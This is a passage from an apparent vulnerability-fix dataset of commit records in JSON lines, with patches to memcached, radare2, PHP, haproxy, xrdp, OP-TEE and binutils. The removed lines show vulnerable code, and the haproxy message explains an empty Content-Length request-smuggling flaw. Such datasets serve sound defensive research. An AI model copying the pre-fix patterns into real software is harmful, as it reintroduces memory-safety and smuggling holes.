deletes ST; and then\n+\t * tries to tunnel this loss back through MD.ST.\n+\t *\n+\t * ++ the .aggressive() processor replaces .V1_ST with the IKE\n+\t * SA?\n \t */\n+\tstatetime_t start = statetime_start(st);\n \tstf_status e = smc->processor(st, md);\n \tcomplete_v1_state_transition(md->v1_st, md, e);\n \tstatetime_stop(&start, \"%s()\", __func__);", "related": false}]} +{"owner": "memcached", "repo": "memcached", "language": "C", "file_name": "memcached.c", "commit_id": "6b319c8c7a29e9c353dec83dc92f01905f6c8966", "commit_message": "udp: crash fix when receiving multi-packet uploads\n\nmulti-packet sets aren't supported in UDP. It was trying to write an\nerror message in response, but no mc_resp object was initialized at the\ntime, leading to a null reference crash.\n\nInstead drop the packet quietly since that's a pretty fatal bug anyway\nand keeps the parser simplified.\n\nFor credits see accompanying release notes.", "patch": "@@ -1183,9 +1183,9 @@ bool resp_has_stack(conn *c) {\n \n void out_string(conn *c, const char *str) {\n size_t len;\n+ assert(c != NULL);\n mc_resp *resp = c->resp;\n \n- assert(c != NULL);\n // if response was original filled with something, but we're now writing\n // out an error or similar, have to reset the object first.\n // TODO: since this is often redundant with allocation, how many callers\n@@ -2604,7 +2604,6 @@ static enum try_read_result try_read_udp(conn *c) {\n \n /* If this is a multi-packet request, drop it. */\n if (buf[4] != 0 || buf[5] != 1) {\n- out_string(c, \"SERVER_ERROR multi-packet request not supported\");\n return READ_NO_DATA_RECEIVED;\n }\n ", "sections": [{"section": "@@ -1183,9 +1183,9 @@ bool resp_has_stack(conn *c) {\n \n void out_string(conn *c, const char *str) {\n size_t len;\n+ assert(c != NULL);\n mc_resp *resp = c->resp;\n \n- assert(c != NULL);\n // if response was original filled with something, but we're now writing\n // out an error or similar, have to reset the object first.\n // TODO: since this is often redundant with allocation, how many callers\n", "related": false}, {"section": "@@ -2604,7 +2604,6 @@ static enum try_read_result try_read_udp(conn *c) {\n \n /* If this is a multi-packet request, drop it. */\n if (buf[4] != 0 || buf[5] != 1) {\n- out_string(c, \"SERVER_ERROR multi-packet request not supported\");\n return READ_NO_DATA_RECEIVED;\n }\n ", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/dwarf.c", "commit_id": "637f4bd1af6752e28e0a9998e954e2e9ce6fa992", "commit_message": "Fix oobread crash in DWARF parser (tests_64924) ##crash\n\nReported by giantbranch of NSFOCUS TIANJI Lab", "patch": "@@ -383,21 +383,18 @@ static inline ut64 dwarf_read_offset(bool is_64bit, const ut8 **buf, const ut8 *\n \tif (is_64bit) {\n \t\tresult = READ64 (*buf);\n \t} else {\n-\t\tresult = READ32 (*buf);\n+\t\tresult = (ut64)READ32 (*buf);\n \t}\n \treturn result;\n }\n \n static inline ut64 dwarf_read_address(size_t size, const ut8 **buf, const ut8 *buf_end) {\n \tut64 result;\n \tswitch (size) {\n-\t\tcase 2:\n-\t\tresult = READ16 (*buf); break;\n-\t\tcase 4:\n-\t\tresult = READ32 (*buf); break;\n-\t\tcase 8:\n-\t\tresult = READ64 (*buf); break;\n-\t\tdefault:\n+\tcase 2: result = READ16 (*buf); break;\n+\tcase 4: result = READ32 (*buf); break;\n+\tcase 8: result = READ64 (*buf); break;\n+\tdefault:\n \t\tresult = 0;\n \t\t*buf += size;\n \t\teprintf (\"Weird dwarf address size: %zu.\", size);\n@@ -1857,8 +1854,7 @@ static const ut8 *parse_attr_value(const ut8 *obuf, int obuf_len,\n * @param sdb\n * @return const ut8* Updated buffer\n */\n-static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevDecl *abbrev,\n-\t\tRBinDwarfCompUnitHdr *hdr, RBinDwarfDie *die, const ut8 *debug_str, size_t debug_str_len, Sdb *sdb) {\n+static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevDecl *abbrev, RBinDwarfCompUnitHdr *hdr, RBinDwarfDie *die, const ut8 *debug_str, size_t debug_str_len, Sdb *sdb) {\n \tsize_t i;\n \tfor (i = 0; i < abbrev->count - 1; i++) {\n \t\tmemset (&die->attr_values[i], 0, sizeof (die->attr_values[i]));\n@@ -1868,9 +1864,8 @@ static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevD\n \n \t\tRBinDwarfAttrValue *attribute = &die->attr_values[i];\n \n-\t\tbool is_valid_string_form = (attribute->attr_form == DW_FORM_strp ||\n-\t\t\tattribute->attr_form == DW_FORM_string) &&\n-\t\t\tattribute->string.content;\n+\t\tbool is_string = (attribute->attr_form == DW_FORM_strp || attribute->attr_form == DW_FORM_string);\n+\t\tbool is_valid_string_form = is_string && attribute->string.content;\n \t\t// TODO does this have a purpose anymore?\n \t\t// Or atleast it needs to rework becase there will be\n \t\t// more comp units -> more comp dirs and only the last one will be kept\n@@ -1880,7 +1875,6 @@ static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevD\n \t\t}\n \t\tdie->count++;\n \t}\n-\n \treturn buf;\n }\n ", "sections": [{"section": "@@ -383,21 +383,18 @@ static inline ut64 dwarf_read_offset(bool is_64bit, const ut8 **buf, const ut8 *\n \tif (is_64bit) {\n \t\tresult = READ64 (*buf);\n \t} else {\n-\t\tresult = READ32 (*buf);\n+\t\tresult = (ut64)READ32 (*buf);\n \t}\n \treturn result;\n }\n \n static inline ut64 dwarf_read_address(size_t size, const ut8 **buf, const ut8 *buf_end) {\n \tut64 result;\n \tswitch (size) {\n-\t\tcase 2:\n-\t\tresult = READ16 (*buf); break;\n-\t\tcase 4:\n-\t\tresult = READ32 (*buf); break;\n-\t\tcase 8:\n-\t\tresult = READ64 (*buf); break;\n-\t\tdefault:\n+\tcase 2: result = READ16 (*buf); break;\n+\tcase 4: result = READ32 (*buf); break;\n+\tcase 8: result = READ64 (*buf); break;\n+\tdefault:\n \t\tresult = 0;\n \t\t*buf += size;\n \t\teprintf (\"Weird dwarf address size: %zu.\", size);\n", "related": false}, {"section": "@@ -1857,8 +1854,7 @@ static const ut8 *parse_attr_value(const ut8 *obuf, int obuf_len,\n * @param sdb\n * @return const ut8* Updated buffer\n */\n-static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevDecl *abbrev,\n-\t\tRBinDwarfCompUnitHdr *hdr, RBinDwarfDie *die, const ut8 *debug_str, size_t debug_str_len, Sdb *sdb) {\n+static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevDecl *abbrev, RBinDwarfCompUnitHdr *hdr, RBinDwarfDie *die, const ut8 *debug_str, size_t debug_str_len, Sdb *sdb) {\n \tsize_t i;\n \tfor (i = 0; i < abbrev->count - 1; i++) {\n \t\tmemset (&die->attr_values[i], 0, sizeof (die->attr_values[i]));\n", "related": false}, {"section": "@@ -1868,9 +1864,8 @@ static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevD\n \n \t\tRBinDwarfAttrValue *attribute = &die->attr_values[i];\n \n-\t\tbool is_valid_string_form = (attribute->attr_form == DW_FORM_strp ||\n-\t\t\tattribute->attr_form == DW_FORM_string) &&\n-\t\t\tattribute->string.content;\n+\t\tbool is_string = (attribute->attr_form == DW_FORM_strp || attribute->attr_form == DW_FORM_string);\n+\t\tbool is_valid_string_form = is_string && attribute->string.content;\n \t\t// TODO does this have a purpose anymore?\n \t\t// Or atleast it needs to rework becase there will be\n \t\t// more comp units -> more comp dirs and only the last one will be kept\n", "related": false}, {"section": "@@ -1880,7 +1875,6 @@ static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevD\n \t\t}\n \t\tdie->count++;\n \t}\n-\n \treturn buf;\n }\n ", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "ext/dom/documentfragment.c", "commit_id": "c283c3ab0ba45d21b2b8745c1f9c7cbfe771c975", "commit_message": "Sanitize libxml2 globals before parsing\n\nFixes GHSA-3qrf-m4j2-pcrr.\n\nTo parse a document with libxml2, you first need to create a parsing context.\nThe parsing context contains parsing options (e.g. XML_NOENT to substitute\nentities) that the application (in this case PHP) can set.\nUnfortunately, libxml2 also supports providing default set options.\nFor example, if you call xmlSubstituteEntitiesDefault(1) then the XML_NOENT\noption will be added to the parsing options every time you create a parsing\ncontext **even if the application never requested XML_NOENT**.\n\nThird party extensions can override these globals, in particular the\nsubstitute entity global. This causes entity substitution to be\nunexpectedly active.\n\nFix it by setting the parsing options to a sane known value.\nFor API calls that depend on global state we introduce\nPHP_LIBXML_SANITIZE_GLOBALS() and PHP_LIBXML_RESTORE_GLOBALS().\nFor other APIs that work directly with a context we introduce\nphp_libxml_sanitize_parse_ctxt_options().", "patch": "@@ -114,7 +114,9 @@ PHP_METHOD(DOMDocumentFragment, appendXML) {\n \t}\n \n \tif (data) {\n+\t\tPHP_LIBXML_SANITIZE_GLOBALS(parse);\n \t\terr = xmlParseBalancedChunkMemory(nodep->doc, NULL, NULL, 0, (xmlChar *) data, &lst);\n+\t\tPHP_LIBXML_RESTORE_GLOBALS(parse);\n \t\tif (err != 0) {\n \t\t\tRETURN_FALSE;\n \t\t}", "sections": [{"section": "@@ -114,7 +114,9 @@ PHP_METHOD(DOMDocumentFragment, appendXML) {\n \t}\n \n \tif (data) {\n+\t\tPHP_LIBXML_SANITIZE_GLOBALS(parse);\n \t\terr = xmlParseBalancedChunkMemory(nodep->doc, NULL, NULL, 0, (xmlChar *) data, &lst);\n+\t\tPHP_LIBXML_RESTORE_GLOBALS(parse);\n \t\tif (err != 0) {\n \t\t\tRETURN_FALSE;\n \t\t}", "related": false}]} +{"owner": "haproxy", "repo": "haproxy", "language": "C", "file_name": "src/http.c", "commit_id": "6492f1f29d738457ea9f382aca54537f35f9d856", "commit_message": "BUG/MAJOR: http: reject any empty content-length header value\n\nThe content-length header parser has its dedicated function, in order\nto take extreme care about invalid, unparsable, or conflicting values.\nBut there's a corner case in it, by which it stops comparing values\nwhen reaching the end of the header. This has for a side effect that\nan empty value or a value that ends with a comma does not deserve\nfurther analysis, and it acts as if the header was absent.\n\nWhile this is not necessarily a problem for the value ending with a\ncomma as it will be cause a header folding and will disappear, it is a\nproblem for the first isolated empty header because this one will not\nbe recontructed when next ones are seen, and will be passed as-is to the\nbackend server. A vulnerable HTTP/1 server hosted behind haproxy that\nwould just use this first value as \"0\" and ignore the valid one would\nthen not be protected by haproxy and could be attacked this way, taking\nthe payload for an extra request.\n\nIn field the risk depends on the server. Most commonly used servers\nalready have safe content-length parsers, but users relying on haproxy\nto protect a known-vulnerable server might be at risk (and the risk of\na bug even in a reputable server should never be dismissed).\n\nA configuration-based work-around consists in adding the following rule\nin the frontend, to explicitly reject requests featuring an empty\ncontent-length header that would have not be folded into an existing\none:\n\n http-request deny if { hdr_len(content-length) 0 }\n\nThe real fix consists in adjusting the parser so that it always expects a\nvalue at the beginning of the header or after a comma. It will now reject\nrequests and responses having empty values anywhere in the C-L header.\n\nThis needs to be backported to all supported versions. Note that the\nmodification was made to functions h1_parse_cont_len_header() and\nhttp_parse_cont_len_header(). Prior to 2.8 the latter was in\nh2_parse_cont_len_header(). One day the two should be refused but the\nformer is also used by Lua.\n\nThe HTTP messaging reg-tests were completed to test these cases.\n\nThanks to Ben Kallus of Dartmouth College and Narf Industries for\nreporting this! (this is in GH #2237).", "patch": "@@ -707,13 +707,20 @@ int http_parse_cont_len_header(struct ist *value, unsigned long long *body_len,\n \tstruct ist word;\n \tint check_prev = not_first;\n \n-\tword.ptr = value->ptr - 1; // -1 for next loop's pre-increment\n+\tword.ptr = value->ptr;\n \te = value->ptr + value->len;\n \n-\twhile (++word.ptr < e) {\n+\twhile (1) {\n+\t\tif (word.ptr >= e) {\n+\t\t\t/* empty header or empty value */\n+\t\t\tgoto fail;\n+\t\t}\n+\n \t\t/* skip leading delimiter and blanks */\n-\t\tif (unlikely(HTTP_IS_LWS(*word.ptr)))\n+\t\tif (unlikely(HTTP_IS_LWS(*word.ptr))) {\n+\t\t\tword.ptr++;\n \t\t\tcontinue;\n+\t\t}\n \n \t\t/* digits only now */\n \t\tfor (cl = 0, n = word.ptr; n < e; n++) {\n@@ -751,6 +758,13 @@ int http_parse_cont_len_header(struct ist *value, unsigned long long *body_len,\n \t\t/* OK, store this result as the one to be indexed */\n \t\t*body_len = cl;\n \t\t*value = word;\n+\n+\t\t/* Now either n==e and we're done, or n points to the comma,\n+\t\t * and we skip it and continue.\n+\t\t */\n+\t\tif (n++ == e)\n+\t\t\tbreak;\n+\n \t\tword.ptr = n;\n \t\tcheck_prev = 1;\n \t}", "sections": [{"section": "@@ -707,13 +707,20 @@ int http_parse_cont_len_header(struct ist *value, unsigned long long *body_len,\n \tstruct ist word;\n \tint check_prev = not_first;\n \n-\tword.ptr = value->ptr - 1; // -1 for next loop's pre-increment\n+\tword.ptr = value->ptr;\n \te = value->ptr + value->len;\n \n-\twhile (++word.ptr < e) {\n+\twhile (1) {\n+\t\tif (word.ptr >= e) {\n+\t\t\t/* empty header or empty value */\n+\t\t\tgoto fail;\n+\t\t}\n+\n \t\t/* skip leading delimiter and blanks */\n-\t\tif (unlikely(HTTP_IS_LWS(*word.ptr)))\n+\t\tif (unlikely(HTTP_IS_LWS(*word.ptr))) {\n+\t\t\tword.ptr++;\n \t\t\tcontinue;\n+\t\t}\n \n \t\t/* digits only now */\n \t\tfor (cl = 0, n = word.ptr; n < e; n++) {\n", "related": false}, {"section": "@@ -751,6 +758,13 @@ int http_parse_cont_len_header(struct ist *value, unsigned long long *body_len,\n \t\t/* OK, store this result as the one to be indexed */\n \t\t*body_len = cl;\n \t\t*value = word;\n+\n+\t\t/* Now either n==e and we're done, or n points to the comma,\n+\t\t * and we skip it and continue.\n+\t\t */\n+\t\tif (n++ == e)\n+\t\t\tbreak;\n+\n \t\tword.ptr = n;\n \t\tcheck_prev = 1;\n \t}", "related": false}]} +{"owner": "ntpsec", "repo": "ntpsec", "language": "C", "file_name": "ntpd/nts_cookie.c", "commit_id": "d9a786fe0fafa7ed7357783798b1f206884d28b7", "commit_message": "Add nts_cookie_not_server\n\nSee #794, but that bug was accidentally fixed\nby bd596fa36738fab8de3e38a29ed0f218b7dda28d\nwhen I updated the cookie_decode counters.", "patch": "@@ -103,10 +103,11 @@ AES_SIV_CTX* cookie_ctx;\n \n /* Statistics for ntpq */\n uint64_t nts_cookie_make = 0;\n+uint64_t nts_cookie_not_server = 0;\n uint64_t nts_cookie_decode_total = 0;\n-uint64_t nts_cookie_decode_current = 0;\n-uint64_t nts_cookie_decode_old = 0;\t/* one day old */\n-uint64_t nts_cookie_decode_old2 = 0;\t/* two days old */\n+uint64_t nts_cookie_decode_current = 0; /* less than one day old, current key*/\n+uint64_t nts_cookie_decode_old = 0;\t/* zero to one day old */\n+uint64_t nts_cookie_decode_old2 = 0;\t/* one to two days old */\n uint64_t nts_cookie_decode_older = 0;\t/* more than 2 days old */\n uint64_t nts_cookie_decode_too_old = 0;\n uint64_t nts_cookie_decode_error = 0;\n@@ -383,6 +384,11 @@ bool nts_unpack_cookie(uint8_t *cookie, int cookielen,\n \tif (NULL == cookie_ctx)\n \t\treturn false;\t/* We aren't initialized yet. */\n \n+\tif (0 == nts_nKeys) {\n+\t\tnts_cookie_not_server++;\n+\t\treturn false; /* We are not a NTS enabled server. */\n+\t}\n+\n \t/* We may get garbage from the net */\n \tif (cookielen > NTS_MAX_COOKIELEN)\n \t\treturn false;", "sections": [{"section": "@@ -103,10 +103,11 @@ AES_SIV_CTX* cookie_ctx;\n \n /* Statistics for ntpq */\n uint64_t nts_cookie_make = 0;\n+uint64_t nts_cookie_not_server = 0;\n uint64_t nts_cookie_decode_total = 0;\n-uint64_t nts_cookie_decode_current = 0;\n-uint64_t nts_cookie_decode_old = 0;\t/* one day old */\n-uint64_t nts_cookie_decode_old2 = 0;\t/* two days old */\n+uint64_t nts_cookie_decode_current = 0; /* less than one day old, current key*/\n+uint64_t nts_cookie_decode_old = 0;\t/* zero to one day old */\n+uint64_t nts_cookie_decode_old2 = 0;\t/* one to two days old */\n uint64_t nts_cookie_decode_older = 0;\t/* more than 2 days old */\n uint64_t nts_cookie_decode_too_old = 0;\n uint64_t nts_cookie_decode_error = 0;\n", "related": false}, {"section": "@@ -383,6 +384,11 @@ bool nts_unpack_cookie(uint8_t *cookie, int cookielen,\n \tif (NULL == cookie_ctx)\n \t\treturn false;\t/* We aren't initialized yet. */\n \n+\tif (0 == nts_nKeys) {\n+\t\tnts_cookie_not_server++;\n+\t\treturn false; /* We are not a NTS enabled server. */\n+\t}\n+\n \t/* We may get garbage from the net */\n \tif (cookielen > NTS_MAX_COOKIELEN)\n \t\treturn false;", "related": false}]} +{"owner": "neutrinolabs", "repo": "xrdp", "language": "C", "file_name": "xrdp/xrdp_painter.c", "commit_id": "73acbe1f7957c65122b00de4d6f57a8d0d257c40", "commit_message": "Merge pull request from GHSA-2hjx-rm4f-r9hw\n\nCVE-2023-42822", "patch": "@@ -454,7 +454,7 @@ xrdp_painter_text_width(struct xrdp_painter *self, const char *text)\n \n for (index = 0; index < len; index++)\n {\n- font_item = self->font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(self->font, wstr[index]);\n rv = rv + font_item->incby;\n }\n \n@@ -837,7 +837,7 @@ xrdp_painter_draw_text(struct xrdp_painter *self,\n total_height = 0;\n for (index = 0; index < len; index++)\n {\n- font_item = font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(font, wstr[index]);\n k = font_item->incby;\n total_width += k;\n /* Use the nominal height of the font to work out the\n@@ -875,7 +875,7 @@ xrdp_painter_draw_text(struct xrdp_painter *self,\n draw_rect.bottom - draw_rect.top);\n for (index = 0; index < len; index++)\n {\n- font_item = font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(font, wstr[index]);\n g_memset(&pat, 0, sizeof(pat));\n pat.format = PT_FORMAT_c1;\n pat.width = font_item->width;\n@@ -917,7 +917,7 @@ xrdp_painter_draw_text(struct xrdp_painter *self,\n \n for (index = 0; index < len; index++)\n {\n- font_item = font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(font, wstr[index]);\n i = xrdp_cache_add_char(self->wm->cache, font_item);\n f = HIWORD(i);\n c = LOWORD(i);", "sections": [{"section": "@@ -454,7 +454,7 @@ xrdp_painter_text_width(struct xrdp_painter *self, const char *text)\n \n for (index = 0; index < len; index++)\n {\n- font_item = self->font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(self->font, wstr[index]);\n rv = rv + font_item->incby;\n }\n \n", "related": false}, {"section": "@@ -837,7 +837,7 @@ xrdp_painter_draw_text(struct xrdp_painter *self,\n total_height = 0;\n for (index = 0; index < len; index++)\n {\n- font_item = font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(font, wstr[index]);\n k = font_item->incby;\n total_width += k;\n /* Use the nominal height of the font to work out the\n", "related": false}, {"section": "@@ -875,7 +875,7 @@ xrdp_painter_draw_text(struct xrdp_painter *self,\n draw_rect.bottom - draw_rect.top);\n for (index = 0; index < len; index++)\n {\n- font_item = font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(font, wstr[index]);\n g_memset(&pat, 0, sizeof(pat));\n pat.format = PT_FORMAT_c1;\n pat.width = font_item->width;\n", "related": false}, {"section": "@@ -917,7 +917,7 @@ xrdp_painter_draw_text(struct xrdp_painter *self,\n \n for (index = 0; index < len; index++)\n {\n- font_item = font->font_items + wstr[index];\n+ font_item = XRDP_FONT_GET_CHAR(font, wstr[index]);\n i = xrdp_cache_add_char(self->wm->cache, font_item);\n f = HIWORD(i);\n c = LOWORD(i);", "related": false}]} +{"owner": "op-tee", "repo": "optee_os", "language": "C", "file_name": "core/drivers/crypto/se050/core/ecc.c", "commit_id": "e2ec831cb07ed0099535c7c140cb6338aa62816a", "commit_message": "core: crypto_bignum_free(): add indirection and set pointer to NULL\n\nTo prevent human mistake, crypto_bignum_free() sets the location of the\nbignum pointer to NULL after freeing it.\n\nSigned-off-by: Jihwan Park \nSigned-off-by: Jens Wiklander \nReviewed-by: Jerome Forissier \nReviewed-by: Joakim Bech \nReviewed-by: Etienne Carriere ", "patch": "@@ -743,9 +743,9 @@ static TEE_Result do_alloc_keypair(struct ecc_keypair *s, uint32_t type,\n \t\tgoto err;\n \treturn TEE_SUCCESS;\n err:\n-\tcrypto_bignum_free(s->d);\n-\tcrypto_bignum_free(s->x);\n-\tcrypto_bignum_free(s->y);\n+\tcrypto_bignum_free(&s->d);\n+\tcrypto_bignum_free(&s->x);\n+\tcrypto_bignum_free(&s->y);\n \treturn TEE_ERROR_OUT_OF_MEMORY;\n }\n \n@@ -764,8 +764,8 @@ static TEE_Result do_alloc_publickey(struct ecc_public_key *s, uint32_t type,\n \t\tgoto err;\n \treturn TEE_SUCCESS;\n err:\n-\tcrypto_bignum_free(s->x);\n-\tcrypto_bignum_free(s->y);\n+\tcrypto_bignum_free(&s->x);\n+\tcrypto_bignum_free(&s->y);\n \treturn TEE_ERROR_OUT_OF_MEMORY;\n }\n \n@@ -774,8 +774,8 @@ static void do_free_publickey(struct ecc_public_key *s)\n \tif (!s)\n \t\treturn;\n \n-\tcrypto_bignum_free(s->x);\n-\tcrypto_bignum_free(s->y);\n+\tcrypto_bignum_free(&s->x);\n+\tcrypto_bignum_free(&s->y);\n }\n \n static struct drvcrypt_ecc driver_ecc = {", "sections": [{"section": "@@ -743,9 +743,9 @@ static TEE_Result do_alloc_keypair(struct ecc_keypair *s, uint32_t type,\n \t\tgoto err;\n \treturn TEE_SUCCESS;\n err:\n-\tcrypto_bignum_free(s->d);\n-\tcrypto_bignum_free(s->x);\n-\tcrypto_bignum_free(s->y);\n+\tcrypto_bignum_free(&s->d);\n+\tcrypto_bignum_free(&s->x);\n+\tcrypto_bignum_free(&s->y);\n \treturn TEE_ERROR_OUT_OF_MEMORY;\n }\n \n", "related": false}, {"section": "@@ -764,8 +764,8 @@ static TEE_Result do_alloc_publickey(struct ecc_public_key *s, uint32_t type,\n \t\tgoto err;\n \treturn TEE_SUCCESS;\n err:\n-\tcrypto_bignum_free(s->x);\n-\tcrypto_bignum_free(s->y);\n+\tcrypto_bignum_free(&s->x);\n+\tcrypto_bignum_free(&s->y);\n \treturn TEE_ERROR_OUT_OF_MEMORY;\n }\n \n", "related": false}, {"section": "@@ -774,8 +774,8 @@ static void do_free_publickey(struct ecc_public_key *s)\n \tif (!s)\n \t\treturn;\n \n-\tcrypto_bignum_free(s->x);\n-\tcrypto_bignum_free(s->y);\n+\tcrypto_bignum_free(&s->x);\n+\tcrypto_bignum_free(&s->y);\n }\n \n static struct drvcrypt_ecc driver_ecc = {", "related": false}]} +{"owner": "op-tee", "repo": "optee_os", "language": "C", "file_name": "lib/libmbedtls/core/bignum.c", "commit_id": "e2ec831cb07ed0099535c7c140cb6338aa62816a", "commit_message": "core: crypto_bignum_free(): add indirection and set pointer to NULL\n\nTo prevent human mistake, crypto_bignum_free() sets the location of the\nbignum pointer to NULL after freeing it.\n\nSigned-off-by: Jihwan Park \nSigned-off-by: Jens Wiklander \nReviewed-by: Jerome Forissier \nReviewed-by: Joakim Bech \nReviewed-by: Etienne Carriere ", "patch": "@@ -87,10 +87,13 @@ struct bignum *crypto_bignum_allocate(size_t size_bits)\n \treturn (struct bignum *)bn;\n }\n \n-void crypto_bignum_free(struct bignum *s)\n+void crypto_bignum_free(struct bignum **s)\n {\n-\tmbedtls_mpi_free((mbedtls_mpi *)s);\n-\tfree(s);\n+\tassert(s);\n+\n+\tmbedtls_mpi_free((mbedtls_mpi *)*s);\n+\tfree(*s);\n+\t*s = NULL;\n }\n \n void crypto_bignum_clear(struct bignum *s)", "sections": [{"section": "@@ -87,10 +87,13 @@ struct bignum *crypto_bignum_allocate(size_t size_bits)\n \treturn (struct bignum *)bn;\n }\n \n-void crypto_bignum_free(struct bignum *s)\n+void crypto_bignum_free(struct bignum **s)\n {\n-\tmbedtls_mpi_free((mbedtls_mpi *)s);\n-\tfree(s);\n+\tassert(s);\n+\n+\tmbedtls_mpi_free((mbedtls_mpi *)*s);\n+\tfree(*s);\n+\t*s = NULL;\n }\n \n void crypto_bignum_clear(struct bignum *s)", "related": false}]} +{"owner": "bminor", "repo": "binutils-gdb", "language": "C", "file_name": "bfd/mach-o.c", "commit_id": "d12f8998d2d086f0a6606589e5aedb7147e6f2f1", "commit_message": "PR29677, Field `the_bfd` of `asymbol` is uninitialised\n\nBesides not initialising the_bfd of synthetic symbols, counting\nsymbols when sizing didn't match symbols created if there were any\ndynsyms named \"\". We don't want synthetic symbols without names\nanyway, so get rid of them. Also, simplify and correct sanity checks.\n\n\tPR 29677\n\t* mach-o.c (bfd_mach_o_get_synthetic_symtab): Rewrite.", "patch": "@@ -938,11 +938,9 @@ bfd_mach_o_get_synthetic_symtab (bfd *abfd,\n bfd_mach_o_symtab_command *symtab = mdata->symtab;\n asymbol *s;\n char * s_start;\n- char * s_end;\n unsigned long count, i, j, n;\n size_t size;\n char *names;\n- char *nul_name;\n const char stub [] = \"$stub\";\n \n *ret = NULL;\n@@ -955,27 +953,27 @@ bfd_mach_o_get_synthetic_symtab (bfd *abfd,\n /* We need to allocate a bfd symbol for every indirect symbol and to\n allocate the memory for its name. */\n count = dysymtab->nindirectsyms;\n- size = count * sizeof (asymbol) + 1;\n-\n+ size = 0;\n for (j = 0; j < count; j++)\n {\n- const char * strng;\n unsigned int isym = dysymtab->indirect_syms[j];\n+ const char *str;\n \n /* Some indirect symbols are anonymous. */\n- if (isym < symtab->nsyms && (strng = symtab->symbols[isym].symbol.name))\n-\t/* PR 17512: file: f5b8eeba. */\n-\tsize += strnlen (strng, symtab->strsize - (strng - symtab->strtab)) + sizeof (stub);\n+ if (isym < symtab->nsyms\n+\t && (str = symtab->symbols[isym].symbol.name) != NULL)\n+\t{\n+\t /* PR 17512: file: f5b8eeba. */\n+\t size += strnlen (str, symtab->strsize - (str - symtab->strtab));\n+\t size += sizeof (stub);\n+\t}\n }\n \n- s_start = bfd_malloc (size);\n+ s_start = bfd_malloc (size + count * sizeof (asymbol));\n s = *ret = (asymbol *) s_start;\n if (s == NULL)\n return -1;\n names = (char *) (s + count);\n- nul_name = names;\n- *names++ = 0;\n- s_end = s_start + size;\n \n n = 0;\n for (i = 0; i < mdata->nsects; i++)\n@@ -997,47 +995,39 @@ bfd_mach_o_get_synthetic_symtab (bfd *abfd,\n \t entry_size = bfd_mach_o_section_get_entry_size (abfd, sec);\n \n \t /* PR 17512: file: 08e15eec. */\n-\t if (first >= count || last >= count || first > last)\n+\t if (first >= count || last > count || first > last)\n \t goto fail;\n \n \t for (j = first; j < last; j++)\n \t {\n \t unsigned int isym = dysymtab->indirect_syms[j];\n-\n-\t /* PR 17512: file: 04d64d9b. */\n-\t if (((char *) s) + sizeof (* s) > s_end)\n-\t\tgoto fail;\n-\n-\t s->flags = BSF_GLOBAL | BSF_SYNTHETIC;\n-\t s->section = sec->bfdsection;\n-\t s->value = addr - sec->addr;\n-\t s->udata.p = NULL;\n+\t const char *str;\n+\t size_t len;\n \n \t if (isym < symtab->nsyms\n-\t\t && symtab->symbols[isym].symbol.name)\n+\t\t && (str = symtab->symbols[isym].symbol.name) != NULL)\n \t\t{\n-\t\t const char *sym = symtab->symbols[isym].symbol.name;\n-\t\t size_t len;\n-\n-\t\t s->name = names;\n-\t\t len = strlen (sym);\n-\t\t /* PR 17512: file: 47dfd4d2. */\n-\t\t if (names + len >= s_end)\n+\t\t /* PR 17512: file: 04d64d9b. */\n+\t\t if (n >= count)\n \t\t goto fail;\n-\t\t memcpy (names, sym, len);\n-\t\t names += len;\n-\t\t /* PR 17512: file: 18f340a4. */\n-\t\t if (names + sizeof (stub) >= s_end)\n+\t\t len = strnlen (str, symtab->strsize - (str - symtab->strtab));\n+\t\t /* PR 17512: file: 47dfd4d2, 18f340a4. */\n+\t\t if (size < len + sizeof (stub))\n \t\t goto fail;\n-\t\t memcpy (names, stub, sizeof (stub));\n-\t\t names += sizeof (stub);\n+\t\t memcpy (names, str, len);\n+\t\t memcpy (names + len, stub, sizeof (stub));\n+\t\t s->name = names;\n+\t\t names += len + sizeof (stub);\n+\t\t size -= len + sizeof (stub);\n+\t\t s->the_bfd = symtab->symbols[isym].symbol.the_bfd;\n+\t\t s->flags = BSF_GLOBAL | BSF_SYNTHETIC;\n+\t\t s->section = sec->bfdsection;\n+\t\t s->value = addr - sec->addr;\n+\t\t s->udata.p = NULL;\n+\t\t s++;\n+\t\t n++;\n \t\t}\n-\t else\n-\t\ts->name = nul_name;\n-\n \t addr += entry_size;\n-\t s++;\n-\t n++;\n \t }\n \t break;\n \tdefault:", "sections": [{"section": "@@ -938,11 +938,9 @@ bfd_mach_o_get_synthetic_symtab (bfd *abfd,\n bfd_mach_o_symtab_command *symtab = mdata->symtab;\n asymbol *s;\n char * s_start;\n- char * s_end;\n unsigned long count, i, j, n;\n size_t size;\n char *names;\n- char *nul_name;\n const char stub [] = \"$stub\";\n \n *ret = NULL;\n", "related": true}, {"section": "@@ -955,27 +953,27 @@ bfd_mach_o_get_synthetic_symtab (bfd *abfd,\n /* We need to allocate a bfd symbol for every indirect symbol and to\n allocate the memory for its name. */\n count = dysymtab->nindirectsyms;\n- size = count * sizeof (asymbol) + 1;\n-\n+ size = 0;\n for (j = 0; j < count; j++)\n {\n- const char * strng;\n unsigned int isym = dysymtab->indirect_syms[j];\n+ const char *str;\n \n /* Some indirect symbols are anonymous. */\n- if (isym < symtab->nsyms && (strng = symtab->symbols[isym].symbol.name))\n-\t/* PR 17512: file: f5b8eeba. */\n-\tsize += strnlen (strng, symtab->strsize - (strng - symtab->strtab)) + sizeof (stub);\n+ if 